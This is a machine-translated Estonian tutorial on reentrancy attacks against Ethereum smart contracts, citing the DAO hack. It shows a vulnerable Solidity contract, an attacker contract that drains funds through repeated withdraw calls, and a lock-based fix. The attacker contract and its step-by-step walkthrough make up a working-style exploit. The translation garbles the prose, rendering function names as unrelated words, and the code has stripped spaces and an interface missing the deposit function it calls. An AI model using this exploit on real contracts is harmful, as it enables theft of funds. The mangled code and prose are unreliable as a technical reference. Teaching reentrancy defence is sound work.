Siit saate teada, kuidas toimub üks levinumaid nutikate lepingute häkkimisi, mis Web 3 ettevõtetele miljoneid maksma läks...
Mõned suurimad häkkimised plokiahelatööstuses, kus varastati miljonite dollarite väärtuses krüptovaluuta žetoone, tulenesid taassisenemise rünnakutest. Kuigi need häkkimised on viimastel aastatel muutunud harvemaks, kujutavad need endiselt olulist ohtu plokiahela rakendustele ja kasutajatele.
Mis siis täpselt on taastumisrünnakud? Kuidas neid kasutatakse? Ja kas arendajad saavad võtta meetmeid, et neid vältida?
Mis on taastumisrünnak?
Reentrance rünnak tekib siis, kui haavatav nutika lepingu funktsioon teeb väliskõne pahatahtlikule lepingule, andes ajutiselt kontrolli tehinguvoo üle. Pahatahtlik leping kutsub seejärel korduvalt välja algse nutika lepingu funktsiooni, enne kui see oma raha tühjendades lõpetab täitmise.
Põhimõtteliselt järgib Ethereumi plokiahelas tehtud väljamaksetehing kolmeastmelist tsüklit: saldo kinnitamine, ülekandmine ja saldo värskendamine. Kui küberkurjategija saab tsükli kaaperdada enne saldo värskendamist, saab ta raha korduvalt välja võtta, kuni rahakott tühjeneb.
Üks kurikuulsamaid plokiahela häkkisid, Ethereum DAO häkkimine, mida käsitleb Coindesk, oli taassisenemise rünnak, mis tõi kaasa enam kui 60 miljoni dollari väärtuses eth-i kaotuse ja muutis põhjalikult suuruselt teise krüptovaluuta kurssi.
Kuidas taastumisrünnak töötab?
Kujutage ette panka oma kodulinnas, kus vooruslikud kohalikud oma raha hoiavad; selle kogulikviidsus on 1 miljon dollarit. Pangal on aga raamatupidamissüsteem vigane – töötajad ootavad õhtuni, et pangasaldosid uuendada.
Teie investorist sõber külastab linna ja avastab raamatupidamisvea. Ta loob konto ja deponeerib 100 000 dollarit. Päev hiljem võtab ta välja 100 000 dollarit. Ühe tunni pärast teeb ta uue katse 100 000 dollarit välja võtta. Kuna pank pole tema saldot värskendanud, on sellel endiselt 100 000 dollarit. Nii et ta saab raha. Ta teeb seda korduvalt, kuni raha enam üle ei jää. Töötajad saavad aru alles siis, kui õhtul raamatuid tasakaalustavad.
Nutika lepingu kontekstis toimub protsess järgmiselt:
- Küberkurjategija tuvastab nutika lepingu "X" haavatavusega.
- Ründaja algatab sihtlepinguga X seadusliku tehingu, et saata raha pahatahtlikule lepingule "Y". Täitmise ajal kutsub Y välja X-i haavatava funktsiooni.
- X lepingu täitmine peatatakse või viibib, kuna leping ootab interaktsiooni välise sündmusega
- Kui täitmine on peatatud, kutsub ründaja korduvalt X-s sama haavatavat funktsiooni, käivitades uuesti selle täitmise nii palju kordi kui võimalik
- Iga taassisenemisega manipuleeritakse lepingu olekut, võimaldades ründajal tühjendada raha X-lt Y-le
- Kui raha on ammendatud, taassisenemine peatub, X viivitatud täitmine lõpeb lõpuks ja lepingu olekut värskendatakse viimase taassisenemise põhjal.
Üldjuhul kasutab ründaja naasmise haavatavust enda huvides edukalt ära, varastades lepingust raha.
Taassisenemise rünnaku näide
Niisiis, kuidas täpselt võib taastumisrünnak kasutuselevõtul tehniliselt toimuda? Siin on hüpoteetiline nutikas leping taassisenemise lüüsiga. Järgimise hõlbustamiseks kasutame aksiomaatilist nimetamist.
// Vulnerable contract with a reentrancy vulnerability
pragmasolidity ^0.8.0;
contract VulnerableContract {
mapping(address => uint256) private balances;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}
functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}
The Haavatav leping võimaldab kasutajatel deponeerida eth-i lepingusse kasutades tagatisraha funktsiooni. Kasutajad saavad seejärel oma deponeeritud ethi välja võtta, kasutades taganema funktsiooni. Siiski on süsteemis taassisenemise haavatavus taganema funktsiooni. Kui kasutaja taganeb, kannab leping enne saldo värskendamist nõutud summa kasutaja aadressile, luues ründajale võimaluse seda ära kasutada.
Nüüd näeme, milline näeb välja ründaja nutikas leping.
// Attacker's contract to exploit the reentrancy vulnerability
pragmasolidity ^0.8.0;
interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}
// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}
Kui rünnak käivitatakse:
- The Ründaja leping võtab aadressi Haavatav leping selle konstruktoris ja salvestab selle haavatav Leping muutuv.
- The rünnak funktsiooni kutsub välja ründaja, hoiuledes teatud eth-i Haavatav leping kasutades tagatisraha funktsioon ja seejärel kohe helistada taganema funktsioon Haavatav leping.
- The taganema funktsioonis Haavatav leping kannab nõutud koguse eth ründaja omale Ründaja leping enne saldo värskendamist, kuid kuna väliskõne ajal ründaja leping peatatakse, pole funktsioon veel valmis.
- The saada funktsioonis Ründaja leping käivitub, kuna Haavatav leping saatis väliskõne ajal sellele lepingule ethi.
- Vastuvõtmise funktsioon kontrollib, kas Ründaja leping saldo on vähemalt 1 eeter (väljavõetav summa), siis siseneb see uuesti Haavatav leping helistades sellele taganema funktsioon uuesti.
- Sammud kolm kuni viis korda, kuni Haavatav leping rahalised vahendid saavad otsa ja ründaja lepingusse koguneb märkimisväärne kogus eth.
- Lõpuks saab ründaja helistada varastatud raha välja võtma funktsioonis Ründaja leping varastada kõik lepingusse kogunenud rahalised vahendid.
Rünnak võib toimuda väga kiiresti, olenevalt võrgu jõudlusest. Kui tegemist on keerukate nutikate lepingutega, nagu DAO Hack, mis viis Ethereumi kõva hargini Ethereum ja Ethereum Classic, rünnak kestab mitu tundi.
Kuidas vältida taastumisrünnakut
Taassisenemise rünnaku vältimiseks peame muutma haavatavat nutikat lepingut, et järgida nutikate lepingute turvalise arendamise parimaid tavasid. Sel juhul peaksime rakendama mustri "kontrollid-mõjud-interaktsioonid" nagu allolevas koodis.
// Secure contract with the "checks-effects-interactions" pattern
pragmasolidity ^0.8.0;
contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");
// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;// Perform the state change
balances[msg.sender] -= amount;// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Unlock the sender's account
isLocked[msg.sender] = false;
}
}
Selles fikseeritud versioonis oleme tutvustanud on lukustatud kaardistamine, et jälgida, kas konkreetne konto on väljavõtmise protsessis. Kui kasutaja algatab taganemise, kontrollib leping, kas tema konto on lukus (!isLocked[sõnumi saatja]), mis näitab, et samalt kontolt ei toimu praegu ühtegi teist väljavõtet.
Kui konto pole lukus, jätkub leping oleku muutmise ja välise suhtlusega. Pärast oleku muutmist ja välist suhtlust avatakse konto uuesti, võimaldades edaspidiseid väljamakseid.
Taassisenemise rünnakute tüübid
Üldjuhul on kolm peamist tüüpi rünnakuid, mis põhinevad nende ärakasutamise iseloomul.
- Üks korduv rünnak: Sel juhul on haavatav funktsioon, millele ründaja korduvalt helistab, sama, mis on vastuvõtlik taassisenemise lüüsile. Ülaltoodud rünnak on näide ühest taassisenemise rünnakust, mida saab hõlpsasti ära hoida, rakendades koodi korralikke kontrolle ja lukustusi.
- Funktsioonidevaheline rünnak: Selle stsenaariumi korral kasutab ründaja haavatavat funktsiooni, et kutsuda sama lepingu raames mõni muu funktsioon, mis jagab olekut haavatavaga. Teisel funktsioonil, mille ründaja kutsub, on teatud mõju, mis muudab selle ärakasutamiseks atraktiivsemaks. See rünnak on keerulisem ja raskemini tuvastatav, nii et selle leevendamiseks on vaja omavahel ühendatud funktsioone rangelt kontrollida ja lukustada.
- Lepinguülene rünnak: See rünnak toimub siis, kui väline leping puutub kokku haavatava lepinguga. Selle interaktsiooni ajal kutsutakse välislepingus välja haavatava lepingu olek enne selle täielikku värskendamist. Tavaliselt juhtub see siis, kui mitu lepingut jagavad sama muutujat ja mõned värskendavad jagatud muutujat ebaturvaliselt. Turvalised sideprotokollid lepingute ja perioodiliste vahel nutikad lepingute auditid tuleb selle rünnaku leevendamiseks rakendada.
Taassisenemise rünnakud võivad avalduda erineval kujul ja seetõttu on nende ennetamiseks vaja erimeetmeid.
Reentrancy rünnakute eest kaitstuna
Reentancy rünnakud on põhjustanud märkimisväärset rahalist kahju ja õõnestanud usaldust plokiahela rakenduste vastu. Lepingute kaitsmiseks peavad arendajad hoolsalt kasutama parimaid tavasid, et vältida uuesti sisenemise haavatavust.
Samuti peaksid nad rakendama turvalisi taganemismustreid, kasutama usaldusväärseid raamatukogusid ja viima läbi põhjalikke auditeid, et tugevdada nutika lepingu kaitset veelgi. Muidugi võib esilekerkivate ohtudega kursis olemine ja turvameetmetega ennetav tegutsemine tagada, et need toetavad ka plokiahela ökosüsteemide terviklikkust.